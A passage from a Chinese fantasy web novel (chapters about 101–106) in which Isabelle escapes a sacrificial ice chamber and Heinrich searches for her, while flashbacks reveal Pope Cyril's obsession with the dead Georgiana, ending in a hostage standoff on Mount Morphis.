伊莎贝尔倏然抬眼,“这是你设下的圈套。” “聪明的孩子。”西里尔微笑。 伊莎贝尔不动声色地看向守卫的武器。 “别乱动。”西里尔漫不经心地提醒,“我知道你要杀我,我也知道海因也在这里。” “只要我想,在车队进入圣匹斯堡范围内的时候,我就可以结束你们的生命。” “但你没有。”伊莎贝尔盯着西里尔,内心念头飞转,“所以……你的目标是我们。” “不是你们。”西里尔微笑,缓缓凑近,举起地上的火器抵住伊莎贝尔,一字一顿,“是你。” 冰凉的物体抵在额头,形势倒转。 “多么聪明的姑娘,如果不是主动送上门,想抓住你,还真不容易。”西里尔喟叹,“可惜,一切都结束了。” 他扣动扳机—— “砰”地一声枪响! 伊莎贝尔缓缓倒地- 殿外,听见第一声枪响,人群陷入短暂的骚动,很快在圣殿守卫的喝令下鸦雀无声。 角落里,海因里希猛然抬眼,紧盯着大门。 他眼睁睁看着守卫鱼贯而入,不多时,又是一声枪响。 海因里希的手紧紧攥住武器,几乎用尽全身力气克制着冲动。 下一刻,守卫抬着尸体出门—— 黝黑的眼眸紧盯着那具尸体,海因里希指尖颤抖,只能无声地祈祷那是西里尔,不是别人…… 可是蒙脸的白布被风吹开,熟悉的金发散落,随着守卫的动作摇曳着…… 洛奇带领着守卫穿过人群,正在愤怒地说着殿里的刺杀经过。 海因里希头脑一片空白,什么也听不见。 平生第一次,他觉得那抹金色是如此的刺眼,如此得令人感到恐惧和厌恶…… 是的,他们做好面对最坏结果的准备,可惜当它真正到来,猝不及防的绝望几乎让他喘不上气。 半天前,她还在从容地谈论着自己的计划,现在却变成了一具毫无生机的尸体。 她怎么会死呢? 她怎么可能会死? 她创造了那么多奇迹,生命难道也会结束得如此仓促? 就像那天听见父亲和祖父的死讯,那种突兀而又诡谲的恐怖再次降临,是某种名为命运的魔鬼在操控一切,不由分说地夺走他的至亲与挚爱。 海因里希跪在原地,脊背弯曲,似乎被深沉的悲伤压得抬不起头。 “先生,我已经带你们来伽蓝圣殿了,可不可以把解药给我?”约瑟芬跪在一旁,小声问。 海因里希缓缓抬眸,眼神麻木冰冷。 “你以为还能活吗?” 约瑟芬愣住,以为他想反悔,下一刻却看见他抛出药瓶。 约瑟芬忙不叠倒出药丸吞下,刚想说什么,身边的男人已经消失了。 “先生?”约瑟芬环顾四周,嘟囔着起身,也想赶紧逃离这里,可是一道冰冷的声音响起。 “尊者有令。”洛奇不知什么时候回来了,身后还带着一大批守卫,只听他缓缓道,“格兰芬主教叛变,他带来的所有人,处以死刑。” “什么?!” “饶命啊!我们是无辜的!” “尊者饶命啊!” 人群哭声鼎沸,约瑟芬连滚带爬试图逃走,却被守卫一刀割破喉咙。 鲜血汩汩流淌,他从倒影里看见自己挣扎的动作,和圣殿教徒们的冰冷神情——报应,都是报应。他曾经也是看着一个个无辜的人死在格兰芬的刀下,现在……终于轮到自己了。 所有尸体被抬到火场熔炉——这里是伽蓝圣殿专门负责处理污秽和供应能源的地方。 多么讽刺,尸体是污秽,也是耗材与燃料。 看着熊熊火光燃起,约瑟芬的生命走向尽头。闭眼前一秒,他又看见那双黝黑的眼眸,他想求救,然而大火已将他吞噬。 - 熔炉的火烧了整整一夜,直到黎明才熄灭。 守卫离开,海因里希才从角落里出来。 他徒手在尚有余温的灰烬里寻找着什么。 都是一样的骨灰,他却执着地试图在其中分辨出他的妻子。 可惜什么也没有。 人这一生,到头来就是熔炉里的一捧灰,什么也留不下。 大颗的眼泪滴在灰烬里,他的双手被灼伤流血,却似乎感受不到疼痛,依然拼命地寻找。 来之前,她说过,亚特兰蒂斯蓝宝石是世界上最坚硬的石头,她始终将它带着。 如果连骨灰也留不下,那么至少还有这块石头,证明她的存在。 象征死亡的禁地很少有人光顾,只有年老的修女负责在晚上打扫。 海因里希从白天找到黑夜,也没有找到那块石头。 “咯吱。”身后忽然传来木门打开的动静。 海因里希迅速躲进熔炉内。 只见一个浑身黑袍的修女走了进来,她垂着头,尽职地打扫每一个角落。 海因里希紧盯着她的动作,月光照进屋内,忽然折射在她的手腕,熟悉的光芒一闪而过。 他愣住,几乎是同一时间,匕首出窍,抵住那个修女的咽喉。 “你的宝石是从哪里带来的。”他低声喝问,“三秒之内告诉我答案。” 修女平静抬眸,眼底没有慌乱。 她看着海因里希的眼睛,停顿许久。 眼看已经超过三秒,她举起手,摘下那颗蓝宝石晃了晃,示意海因里希伸手。 “别玩花样,我真的会杀了你,然后再去杀了西里尔。”海因里希嗓音冰冷,他现在没有任何耐心。 修女将宝石递给他,在他掌心写字。 看着字母连成一句话,海因里希神情变了。 “她不在这里?”他抬眸,“那她在哪?你又是谁?” 第102章 章节锁定 第103章 伊莎贝尔盯着贝丽的眼睛,语速飞快:“请帮帮我。” “别怕,我不会害你。”伊莎贝尔飞速从牙齿里扣出那块蓝宝石,“我是海因里希的妻子。” 听见海因里希的名字,贝丽愣住,张着嘴露出断了一截的舌头,她徒劳地发出“啊啊”声,想说什么。 伊莎贝将那块宝石递给她, “请帮我把它带出去。” 贝丽看着那块蓝宝石,眼神怔忪。 - 镜中倒映着汉娜被烧毁的脸,她盯着那块蓝宝石,又看向用手比划的贝丽,眼皮微垂:“我明白了,辛苦了贝丽。” 贝丽张着嘴,结痂的双眼流不出眼泪,只能发出“啊啊”的声音。她颤抖着手,在汉娜掌心写下歪歪扭扭的字母。 汉娜沉默良久:“他真是个疯子……” 她深吸一口气,伸手拥抱贝丽:“我会为你们报仇, 为你,为你的女儿……为他, 为所有人。” 贝丽呜咽着,紧紧抱住汉娜摇头,用口型说:不,我希望你活着,你是我另一个女儿,活着的女儿。 汉娜紧紧闭眼,泪水落在蓝宝石上。 亚特兰蒂斯蓝宝石稀有且珍贵,盛产于赫斯兰,曾是那个男人送她的礼物。这是她再熟悉不过的东西,现在它传承到了另一个女孩的手里。 她紧紧握着宝石,重新整理神情走出门。 黎明将至,熔炉火焰渐渐熄灭,汉娜又变成了毁容的哑巴修女,沉默地洒扫。 她看见熔炉角落的阴影,不动声色地将蓝宝石露出一角。 果然,下一刻锋利的匕首抵上她的喉咙。 熟悉嗓音在耳边响起,汉娜有一瞬间的怔忪。 黎明微光照耀着他黝黑的眼眸,侧脸坚毅深邃,像极了他的父亲。 可是汉娜看着他的脸,却想起刚成年的少年,目睹祖父父亲死亡,茫然无措的样子。 还有那个七岁的小男孩从马背上摔下来,忍了一天没有哭,半夜在梦里哭泣着找妈妈。 小小的孩子长大了,长高了,肩膀宽了,已经是个能勇敢保护妻子的男人。 听见他问:“你认识我?” 汉娜垂眸,指尖死死掐进掌心,摇了摇头。 不,不认识- 深夜,西里尔又一次醒来。 索菲娅和数不清的人从地狱里爬起来向他索命,即便是在梦里,他也一点儿害怕也没有,甚至还有兴致分辨那些亡灵的身份。 那里面没有乔治安娜。 自从她死后,一次也不曾入梦。 真记仇啊。 他闭上眼清醒片刻,在心里喊:“系统,这次的祭品找对了吧。” 系统停顿数秒:“嗯。” 西里尔意识到它的迟疑,缓缓睁开眼:“我使用了积分预知剧情,是你说的,海因里希的妻子会换回乔治安娜。” 系统不赞同道:“我的权力有限,只能得到简要的剧情概括,是你解读为献祭。” 西里尔冷笑:“除此之外还有让死人复活的办法吗?” “……”系统:“没有。” 西里尔垂眸,窗外月光洒在金发上,神情带着厌倦:“即便献祭没用,我也会用全部积分兑换她的命。” 系统:“宿主,请考虑清楚,你的积分很珍贵。” “我考虑得够久了。”西里尔仰头,凝望着窗外,“我会和她脱离这里,去往真实的世界。” 系统叹了口气:“什么是真实?什么是虚幻?宿主,你在这个世界享有崇高的名望,被人奉为神明,这不好吗?为什么要牺牲从前积累的一切。” 西里尔沉默,抬眸看向窗外。 月亮高悬,他眼底滑过嘲讽的笑,“成为神明当然好,可惜……我腻了。” 墨菲斯雪山上的坚冰终年不化,就像人们对圣曜教会的信仰。西里尔推开窗,夜风裹挟着寒意呼啸。 从七岁被选为圣子进入伽蓝圣殿开始,他在这座高塔之上待了太久太久,久得他忘记自己是个人,不是真正的神。 是世界之外的力量赋予他权力,让他成为神的代言人。 淡金色的眼眸倒映着月色,时移世易,唯有那枚明月亘古不变。西里尔的记忆仿佛被拉回了久远以前。 七岁,从他得到一个名为“系统”的东西开始,就知道自己是与众不同的。 老教皇昏庸愚蠢,西里尔冷眼看着他用中世纪的献祭仪式试图延续生命、得到永生,只觉得可笑。 直到他将魔爪伸向自己,西里尔第一次使用系统赋予的知识,展现小小的“神迹”,成功让伽蓝圣殿所有人对他敬畏。 老教皇开始忌惮他,同时对他的天赐的知识无比好奇。 七岁的西里尔就在这样的环境里,学会虚与委蛇、学会如何打一巴掌再给个甜枣、学会树立。渐渐的,圣子的地位逐渐稳固,他能够在伽蓝圣殿畅行自如。 七岁的西里尔对“神力”兴致勃勃,十四岁的西里尔,对没有挑战的人生开始乏味。 也是那一年,锡兰王室送来一个公主,作为伽蓝圣殿的圣女侍奉教皇。 说是圣女,谁都知道,那不过是震荡的王室试图笼络教会而送来的人质。 人质当然不会是受宠的公主,听说她血脉污秽,身份不可言说,是王室的耻辱。 那位公主年纪很小,十三岁,刚长成的小少女。她沉默寡言,总是待在高塔里,出神地望着天空,手里紧握着一只铃兰发饰。据说那是她姐姐送给她的,从不离身。 西里尔对此并不感兴趣,偶尔听见修女们谈论,只觉得那是个柔弱得像兔子的女孩。 可是兔子急了也会咬人,第一次是有人捉弄她,偷走了那枚发饰,她当着所有人的面和那个强壮的教徒扭打在一起,眼睛发红,疯了似的狠狠咬下他手臂的肉。 第二次,是某个深夜,她被教皇叫去主殿,再出来时,衣服破破烂烂,手里却攥着染血的匕首,浑身颤抖。半开的门后,老教皇倒在血泊里,浑浊的老眼瞪着天空。 在那个寂静的庭院里,她撞见了西里尔。 西里尔没有告诉她,他看见了她杀人的经过,从进门开始,如何挣扎,如何逃离,如何狠狠将匕首刺入教皇的腹部。 他看见那只兔子失去理智地刺了一刀又一刀,看着鲜血溅了她满头满脸,又看着她清醒过来,害怕得颤抖,像个真正柔弱的少女。 西里尔看着这一切,突然觉得有趣了起来,于是藏起自己准备好的毒药,没有告诉她,其实这座宫殿的人手早就被支走了,即便没有她,今天也会是教皇的死期。 他当腻了圣子,也受够了功劳被抢走,更受够了看着那个愚蠢的老头受到愚蠢平民的崇敬。 真正的神明是他,他要开创属于西里尔·霍斯纳德的时代。 而在一切准备好的时候,他没有料到,有人替自己干掉了老头。 那天晚上的月亮和多年后的一样圆,少年却还不是习惯将悲悯当作面具、长久地戴在脸上的尊者。他毫不掩饰眼底的兴致,甚至恶劣地抱着手臂笑:“你打算怎么办?乔治安娜。” 他第一次叫那个公主的名字。 乔治安娜慌乱了一瞬,老实地低头:“我会自首。” 这个答案显然出乎西里尔的预料。 一个敢杀人的疯兔子,另一面居然这么遵纪守法。 西里尔眯起眼,“那再好不过了,等你以罪犯的身份被扭送回墨伦维克,整个王室以你为耻,而你那位亲爱的姐姐想必也要……” 没等他说完,乔治安娜脸色变了:“不,请你别这么做,我可以偿命,但不要连累我的姐姐。” 她仰着头,利落地跪在地上,褐色的眼睛情真意切。 这令西里尔感到有些刺眼,他向来讨厌所谓的真情,世界都是假的,哪有什么真的?西里尔讽刺地笑,忽然觉得乏味,放弃了逗她的心思:“去把尸体处理了。” 乔治安娜愣住,意识到是他放过了自己。 从那天起,西里尔的房间总是莫名多出一些东西,有时候是蛋糕,有时候是铃兰花书签,都是一些小玩意儿。 还没有长大的少年对此感到不屑,可是偌大的伽蓝圣殿,也只有这么一个同龄人还有点意思,就像身边养了只小宠物。他不用费什么心,召之即来挥之即去。 毕竟这只兔子很好养,仅仅只是那天放过了她,她就感激不尽,全然没有想过他的用心是否纯粹。 西里尔大多数时候懒得回应这种讨好,他有很多的事情要忙。 老教皇死去,各地大主教心思涌动,他要笼络人脉,发展自己的势力,为登基做准备。 于是没有注意到,伽蓝圣殿风言风语开始流传,说教皇之死都是因为乔治安娜,据说有人目睹乔治安娜埋藏染血的衣服,当然,没人敢说那天还看见西里尔的身影。 所有人变本加厉地欺负她,疯兔子急了还是会咬人,可是敌不过人多势众。 西里尔意识到很久没有看见桌面上的小礼物时,已经是登基的前一天。 少年身量已经很高,他披上新做的雪白的教袍,高举权杖走上神座。 侍者一声令下,那些黑衣教徒跪成一片,前来投诚的格兰芬教徒虔诚地亲吻他的脚面。 看着那一张张谄媚的脸,西里尔忽然觉得脚下的神座很无趣。 他知道,那些所谓的效忠都是因为利益。 谁会真正信仰神明,大家都信仰利益。 西里尔的视线划过众人,意兴阑珊地走回寝殿。 也是那个时候,他意识到许久没有看见乔治安娜。 然而下一刻,少女一瘸一拐出现,从角落里挪到他的面前,“送给你。” 她递上一束新鲜的铃兰花,仰着头,眼睛明亮,笑容羞涩,行了一个并不标准的圣曜礼仪:“为尊者祈福,来自您虔诚的信徒。” 虔诚的信徒。 清风吹拂他的金发,西里尔无意识地默念这句话。 晴空映照着墨菲斯雪山,那束铃兰花还沾着晨露,像她的眼睛一样纯澈。 教皇西里尔·霍斯纳德收获人生中第一个真正的信徒。 他以为那是寻常的一天,直到很多年过去,关于那天的记忆,仍在印刻在脑后,连细枝末节也不曾忘却。 第104章 回忆散去,西里尔望着夜空,金发在风中猎猎飞舞。 圣殿种了许多铃兰花,风一吹, 花瓣四处飘零,有一朵落在他的掌心。 西里尔注视许久,缓缓合拢五指,似乎隔着时空接住了曾经弄丢的灵魂。 “再等七天, 一切都结束了。”- 七天。 黑暗里,伊莎贝尔在失血与失温的双重影响下,仍然极力保持清醒记录时间。 贝丽又来了,这次洛奇应该接到了叮嘱,防范更加严密,寸步不离地盯着她的动作。 她的掌心没有了那枚蓝宝石, 伊莎贝尔明白,消息已经递出去了。 完成任务, 洛奇给贝丽蒙住双眼,即便她已经是个瞎子, 这足以见得他的谨慎。 透过他们离开时半开的洞门,伊莎贝尔看见外面仍然是伸手不见五指的黑暗。 “伽蓝塔顶?”伊莎贝尔轻声呢喃。 目之所及都是幽暗的冰层,门外是否也是这样?这究竟是哪里?竟然可以容纳一个如此巨大的密室?专门修筑的燃料火池似乎也只是用来照明或是维持祭品生命迹象的,哪个塔能够容纳这么多的坚冰承受烈火的炙烤? 海因里希又能否找到这里? 一连串的疑问迫在眉睫, 伊莎贝尔闭上眼睛,思绪飞转。 七天, 现在已经过了一天一夜,还剩六天。 越拖下去,她的身体就越撑不住,逃生的希望就越发渺小。她必须想个办法弄出动静…… 倏然,她将目光转向火池——纵横交错的浅槽里,凝固着暗褐色膏体,边缘结着薄冰,还能嗅到刺鼻的石油气息。 如果是奥黛丽在,也许能很迅速地分辨出这是哪种化学原料。 过氧化钠……遇水放热。 伊莎贝尔眸光微亮,她的双手被铁链捆绑,只能勉力蜷缩起膝盖骨敲击地面。 果然,底下是一层冻土,里面暗流涌动。 伊莎贝尔忍着手腕撕裂般的疼痛,再次狠狠用膝盖骨敲击。 “咔哒”,被燃料炙烤过的冰层很薄,撞破的瞬间,渗水流进浅槽里,一股热气涌动,发出滋滋声。 下一刻,一簇小小的火苗涌现! 成了。 伊莎贝尔眯起眼,再次重复这样的操作。 膝盖疼得没有直觉,手腕的血顺着铁链留下。火苗却越来越大,突然间发生质变,顺着沟槽蔓延! 纵横的火舌舔舐冰墙,融化的冰水跟着倒灌进燃料池,引发连锁爆燃! 这一次西里尔不在,没有开关控制火势,烈焰越燃越高,冰层融化加剧…… “砰!” 伊莎贝尔昏过去的前一秒,冰顶被热浪掀翻! 同一时间,伽蓝圣殿广场的所有人看向发出动静的地方! 正在做祷告的西里尔倏然睁眼,脸色剧变。 “来人!”- 看见人群往同一个方向汇聚,藏在废弃塔顶的海因里希脸色凝重。 “是她,一定是她。” 广场上,黑衣教徒们匆忙拿着器具冲向雪山顶。 蒙住脸的汉娜望向山顶,目光沉重。 海因里希深吸一口气:“我们找了这么久的伽蓝塔顶,原来根本不是所谓的塔。” 根据贝丽的描述,她被洛奇带着去了很高的地方,一层又一层,无法分辨方向。 于是海因里希和汉娜找遍了伽蓝圣殿的建筑,甚至连地底都去过了。可是一无所获。 现在,他们看着那座皑皑雪山,终于知道“高塔”在哪里。 是墨菲斯山! “走!” 海因里希迅速跟上,走了两步又停下,看向汉娜:“谢谢你的帮忙,你留在这里吧,接下来的路我自己走。” 汉娜摇头,在掌心写:“我会见机行事。” 海因里希没有多劝,带着汉娜离开。 他从怀里掏出一个包裹往塔里扔,随即立刻蒙着黑袍隐蔽在上山的人群里。 很快,惊叫声在身后响起:“着火了!伽蓝神塔又着火了!” 距离索菲娅纵火不久,这座高塔再次遭受烈焰摧残。 这一次,古老的神塔再也无法支撑,在众人的呼喊声中轰然倒塌! 火势蔓延,无数惊叫声里,海因里希早就头也不回地走远——临走前,他给赫尔曼留下了信物。 如果对方足够敏锐,也许能够接收到信号,做出反应。 如果错失时机,那也没关系。 寒风呼啸,裹挟着烧焦的味道。海因里希摩挲着袖中的蓝宝石,看向山顶——他会和伊莎贝尔一起奔赴结局。 看着海因里希果决的背影,汉娜凝望着那座高塔,眸光悠远。 他的父亲没有做到的事情,他做到了。蕴藏无数记忆的神塔,终于走向灭亡。 …… 与此同时,赶往墨菲斯雪山顶的众教徒愕然回头,谁也不敢看西里尔的脸色。 “尊者……我们……我们要回去救火吗?”洛奇颤颤巍巍地问。 西里尔的笑容彻底消失,他目光暗沉,而后大步走向山峰,不再理会那座倒塌的神塔。 洛奇慢半拍,立刻明白尊者的意思! 比起无可挽回的神塔,显然是神山里的人更重要! 就在西里尔放弃神塔时,山脚下的朝圣者、圣匹斯堡内外城的民众、视线范围包含古尔勒弥斯山脉的所有人,都震惊地看着远方的高塔坍塌。 “伽蓝神塔……倒了!” “神塔倒了!” …… 消息长着翅膀传遍全城,有人跪地痛哭,有人双手合十祈祷上天不要降下惩罚…… 整个圣匹斯堡乱成一锅粥,数个国家赶来的大主教纷纷要求面见教皇,询问发生来什么事。还有王室朝拜的车队也在跟着探听消息,挤挤攘攘的马车堵得城市中心水泄不通。 角落里,标志着锡兰王室的马车中,奥黛丽惊讶地看着墨菲斯山顶映红半边天的火光。 “赫尔曼,一定是姐姐她们……” 赫尔曼同样看着远方,微眯着眼思索。 在他身后的车队,是洛娜带领的王室护卫。 海因里希离开前,将女王的信物给了他。 打开信封的那一秒,赫尔曼就猜到这对夫妇想做什么。 现在,燃烧的神塔既是发送的信号,也是给予王室车队上山的借口。 通往伽蓝圣殿的路被愤怒的主教们闯了进去,赫尔曼瞅准时机,立刻带领着车队跟上。 他抓住奥黛丽的手,深灰色的眼睛平静无波:“相信你的姐姐,也相信我们。” 他们的反应很快,几乎是前后脚就跟上了行动的步伐。 “是,没什么好怕的。”奥黛丽蓝眼睛里的惶恐退却,看着山顶,“赫尔曼,我想我们可以抄近路。” 赫尔曼蹙眉:“你来过这里?” “不是我来过。”奥黛丽从怀里拿出图纸,“你忘了吗?特蕾莎曾经是圣匹斯堡出逃的修女,来之前我特意根据她的描述画了图纸。” 赫尔曼眼底滑过赞赏,“你为你姐姐争取了时间。” “是为我们。”奥黛丽飒爽地跳下马车,回身握住赫尔曼的手,“我们诺曼一家人,少了谁都不行。” - 伊莎贝尔并不知道外界的情况,她点燃了火池,自己也承受高温的炙烤。 这是她早就预料的状况,只有这样才能逼出西里尔。 所以当西里尔进来的第一时间,看见的就是伊莎贝尔平静的笑容。 短暂数秒,西里尔立刻意识到什么,勾起唇角:“想要海因来救你?” “还是想自杀,或是要我放过你?”西里尔笑容和煦,缓缓靠近,“一切都可以谈,可你偏偏采用这么极端的做法,破坏了这座密室……” “你知道我会怎么惩罚不听话的孩子吗?”他笑容弧度扩大,眼底神情温和得近乎诡异,就在他即将靠近灭火阀门的刹那,就听见伊莎贝尔的声音。 “别动。” 伊莎贝尔的冰棺靠近火源,最先融化,现在只剩两条沉重的手链。这并不足以限制她的行动,至少能够让她走到中心冰棺前。 “再上前一步,乔治安娜的冰棺就会彻底掉进火海。”她慢条斯理地向西里尔展示冰棺融化的水珠。 西里尔的笑容渐收,“我劝你放弃这个做法,我讨厌别人用她威胁我。” 伊莎贝尔:“让你想到厌恶的人?” 西里尔脸色暗了下去,淡金色的眼眸翻涌着陌生的情绪。 “你宣称乔治安娜是你的挚爱。”伊莎贝尔缓缓道,“甚至想杀了我复活她,那么现在,看着她和我同归于尽,或是放了我,还能保留她的完整的尸体,你选哪个?” 西里尔阴沉地盯着伊莎贝尔,忽然笑了。 那笑容说不出的诡谲,甚至带着几分狂态。 “我哪个都不选。” 深吸一口气,他又露出和煦的笑容:“小姑娘,你忘了吗?神可以做到一切。” “即便没有献祭,我也会让她彻底活过来。”西里尔紧盯着伊莎贝尔,一字一顿,“而你,既然连七天都不想等,那就在今天承受威胁我的代价。” 最后一个字落下,黑衣教徒们齐齐举起弓箭,对准伊莎贝尔。 伊莎贝尔感受着冰棺渐渐融化,鲜花开始腐烂,近距离观察下的乔治安娜皮肤出现尸斑。 存放太久的尸体经受不了高温,失去药物滋养,她的皮肤飞速干瘪,头发被冰水浸泡着,在火光下显露黝黑的色泽。 伊莎贝尔眸光微顿,心中闪现异样。 她不动声色地看向西里尔——那张脸喜怒难辨,似乎根本不受她的威胁,可惜淡金色眼眸紧盯着这座冰棺,根本没有移开视线。 伊莎贝尔垂眸,数秒过后,微笑抬头:“西里尔,有没有人告诉过你,眼神骗不了人。” “是的,我相信你可以复活她。”她顿了顿,又将冰棺往前推了半分,“可是你真的敢眼睁睁看着她的尸体在火海融化吗?即便你有百分之九十的把握,又敢不敢赌那百分之十的失败?” 冰蓝色的眼睛似乎能穿透人心,伊莎贝尔盯着西里尔,缓缓道:“曾经你做过这样的选择吧?你尝过输的滋味……现在,还敢再尝一次吗?” 西里尔的脸色霎时狰狞,手指紧握成拳,呼啸而来的记忆几乎将他淹没。 很多年前,那个男人也是这样闯进伽蓝圣殿,当着他的面用最讨厌的方式威胁自己! 是的,那次他输了,高傲得不可一世的年轻教皇,输得彻彻底底! 第105章 那个贵族青年闯进伽蓝圣殿时, 正是年轻的教皇彻底掌权,如日中天之时,他打破了西里尔·霍斯纳德无所不能的传说。 路德维希本不想带着乔治安娜,可是她拼死护着西里尔,于是他干脆将这个女孩一并掳走。 他以为乔治安娜与西里尔关系斐然, 开始谈判时试图以她的性命做威胁。 这是第一次, 西里尔的权威被冒犯。 无关什么条件,也不管对面是乔治安娜或是其他人,对年轻的教皇而言,这个不知从哪里来的野小子,竟然敢威胁他,就已经是十恶不赦的罪过。 从七岁起, 西里尔就是独立于世界之外, 被神明选中的代言者。 区区一个公爵之子,算什么东西? 乔治安娜或许有些特别, 她在伽蓝神塔里陪伴他度过了少年时期,不出意外, 还会跟在身边许多年。可是这和教皇的威严相比,似乎太过微不足道。 不, 应该说,这个世界都该匍匐在他的脚下, 没有任何事物能与之相提并论。 那天,路德维希毫无绅士风度地将乔治安娜五花大绑,锋利的刀刃抵在她的脖颈,仿佛下一刻就会收割她的生命。 对面,西里尔的眼神擦过乔治安娜,最后却笑道:“没有人可以威胁神明。” 言外之意, 他大可以动手。 西里尔从来如此,作为陪伴在身边最久的人,乔治安娜更应该明白他的风格。 是的,她明白。 有一瞬间,西里尔清楚地看见她放弃抵抗,可是很快眼神又坚定起来。她知道自己和其他人没什么不同,虔诚的信徒不应该妄想主的偏爱,教皇做什么都是对的。 她明白他的权衡,也理解他的缓兵之计,更知道教皇改变了这个世界,他身上承担的使命远比“乔治安娜”这个人重要。所以,她不会让情感盖过理智。 短短瞬间,就在西里尔话音落下时,乔治安娜缓缓闭上眼。 那一刻,西里尔满意这样的乔治安娜,这也让路德维希的第一次谈判失败。 可是他也解释不清,为什么许多年过去,自己仍然忘不了她闭眼前的神情——一如既往的理智坚定之余,褐色的眼睛里好像闪烁着晶莹。 她甘心为他的神座铺路,是最崇拜他的信徒。这样的人,好像在那瞬间露出一丝哀伤。 最后,路德维希没有杀她,西里尔也松开一直攥紧的拳头。 他赌赢了。 一个拿着平民权益条款来找他谈判的青年,果然不会随意杀戮。 西里尔知道,乔治安娜很聪明,即便自己不解释用意,她也会理解并原谅。 是的,捡回一条性命,乔治安娜除了怔忪片刻,很快就和从前一样,始终维护在他身边,警惕地看着路德维希。 西里尔擅长揣摩人心,只是很少有人有资格让他花时间揣摩。可那天之后,他时常记得乔治安娜怔忪的半秒。 那半秒,她在想什么?怨怪他?庆幸死里逃生?抑或是……对他的信仰稍稍减退? 西里尔其实并不明白自己为什么会有这些乱七八糟的猜想。 自从圣匹斯堡发展繁荣以来,他的信徒遍布整个世界。 作为第一个信徒,她有些特别,却也没那么特别。能够陪伴在他身边,是世界命运对她的恩赐,难道她要因为一个理所应当的权衡就决定放弃对他的信仰吗? 退一万步说,即便失去她的信仰又能如何?教皇仍然是教皇,这个时代仍然镌刻着西里尔·霍斯纳德的大名。 乔治安娜没那么重要,她的崇拜或怨恨,也没那么重要…… 后来,他拉拢王室和其他贵族,决定给路德维希一个教训。 对西里尔而言,仅仅摧毁这个人还不够,他要的是摧毁斯宾塞整个家族。让所有潜在的造反者知道,这是触怒神明的下场。 在他的计划里,需要有一个合适的人去到路德维希的身边。 有谁比乔治安娜更适合的呢? 她是代表王室的公主、是代表教会的圣女、现在又能成为斯宾塞公爵府的夫人,她是最完美的天平,也是最能让外界相信教会要保持和平的代表。 而路德维希得到了想要的局面,即便知道这是苦果,也一定要吞下。 那天,他在伽蓝圣殿为乔治安娜戴上翡翠头冠,提前庆祝她成为美丽的新娘。 无法自控的情绪迫使他忽然问出那句话:“你会一直忠诚于我,对吗?” 刚说出口,西里尔就懊悔,他很快像从前那样退开,挥手示意她出去。 乔治安娜愣了很久,虔诚颔首道:“只要圣光永恒普照大地,我的信仰也会如圣光般永恒。” 说完,她退出圣殿,走向外面斯宾塞公爵府的车队。 夕阳落山,飘扬的狮子旭日旗越来越远。 乔治安娜离开了很久,西里尔却站在高塔上,长久地伫立。 他明明得到了想要的答案,却说不清心底为什么空落落的。 很长一段时间里,西里尔常常坐在高塔上,看着远处的连绵的山脉。 脚下匍匐着众生,他是主宰世界的神明。清风拂过,身边却是如此的寂寥。 他想摆脱那种无谓的情绪,找了很多事打发时间。 养了一只褐色眼睛的小猫,小猫长大,又生了一窝幼崽。他照顾它们,试图模拟出书上说的,关于神明的慈爱。 他想起很久前和乔治安娜一起救过的那个女孩,好像叫索菲娅,再伸出手完成她的心愿,看她能走到哪一步,也很有意思。 或是再赐予人间更多的技术,看着工业发展繁荣,有人乘风破浪,有人在铁轨上开展贸易…… 他打发着漫长的时光,看着世界慢慢改变,如同一场经营游戏,总能收获些趣味。 可惜为填补内心的空洞,勉强得到的趣味太有限。 西里尔说不清病根在哪里。 直到后来,他看见那个长得像路德维希的孩子出生,他看见乔治安娜的脸上渐渐出现笑容,他看见他们一家在草地上晒太阳、并肩散步…… 密密麻麻的藤蔓爬上在心头,遮天蔽日,他才恍惚地察觉,那处空洞被更为沉重的情绪填满。 后悔吗?并不。 如果不是失去,又怎么会明白重要。没关系,他可以夺回来。 这个世界都属于他,有什么是他得不到的呢? 直到看见乔治安娜面目模糊的尸体,西里尔怔了很久。心里破开一个大洞,没有流血,只有墨菲斯雪山的风呼呼吹着。 她曾说,圣光永恒普照,她的信仰也会永存。 所以为什么她宁愿给路德维希殉葬? 他想起她第一次向他下跪,哀求他放过斯宾塞一家。 那时他就在想,什么时候,你和斯宾塞是一家人了? 伽蓝圣殿里,他们一起度过那么多的冬天。他是改变这个世界的神,而现在,她却选择了一个普通人? 多么可笑,恒星光辉灿烂,她却和一颗渺小的星星同进退。 这个世界上有多少人祈求得到西里尔·霍斯纳德的注视,哪怕只是多看一眼,而她成为了那个稍显特别的人,却选择背叛? 是的,她和路德维希联合背叛了他。 发誓永远效忠的信徒,背叛了她的主。 漫长的数年里,西里尔知道,心里那块大洞再也无法被填满。 有一天,他看着冰棺里的尸体,一个可怕的念头疯长。 活过来,再选一次吧。 他后知后觉地想,也许从那天的抉择开始,就已经错了。 不甘与恨意、嫉妒与空虚,是因为爱。神可以主宰一切,却爱上一个凡人,爱上自己的信徒,就像人爱上一只蚂蚁,爱上书中已知命运的二维生物。 多么可笑,多么可悲,多么……可怜。 思绪渐渐回笼,西里尔抬眸,看着伊莎贝尔面前的冰棺,缓缓摆手。 教皇的抉择,令所有教徒放下武器。 “我同意了,放下冰棺,你可以离开。”西里尔抛出解开铁链的钥匙。 冰棺融化的趋势无法阻止,伊莎贝尔近距离看着变色的头发,眸光微动。 再过片刻,一旦西里尔走近,就会发现不对劲。 而西里尔真的会那么好心放过她? 看着地上的钥匙,伊莎贝尔心思飞转——恐怕在她低头的一瞬间,自己就会死于非命。 正在思考对策,忽然,一支利箭破空而来! 几乎同一时间,西里尔快速闪避,眼神不善地看向来人。 “别动,躲得开第一支箭,现在……你躲不开子弹。” 山洞外,在众教徒惊讶的神色中,海因里希举着枪缓缓靠近。 弹道中心,正是被那支箭逼开一步,毫无遮挡的西里尔。 “海因,好久不见。”西里尔很快意识到,自己中了海因里希的计。他垂眸,忽然轻笑,“仅仅只有你一个人,如果杀了我,你亲爱的妻子也会保不住。” “你错了,现在整个伽蓝圣殿都被朝圣的人群包围了。” 突然,又有一道声音出现。 赫尔曼和奥黛丽走了进来,前者有条不紊地展示女王手信,“洛娜秘书已经带着女王亲卫包围伽蓝圣殿,所有人都看见伽蓝神塔倒塌,那么即便教皇不幸身亡,似乎也显得合情合理。现在,这个筹码还够吗?” 西里尔笑容消失,可是渐渐的,他看着冰棺融化速度越来越快,眼底闪烁着疯狂。 “看来现在谁都觉得自己可以随便威胁我。”西里尔闲适地伸出手,掌心底下,是灭火的阀门:“忘了说,这个机关不仅可以灭火,还能引爆整座墨菲斯雪山。要试试吗?” 第106章 “等等!”奥黛丽慌忙喊道, “教皇大人,一切都可以商量,你也不想两败俱伤吧!” 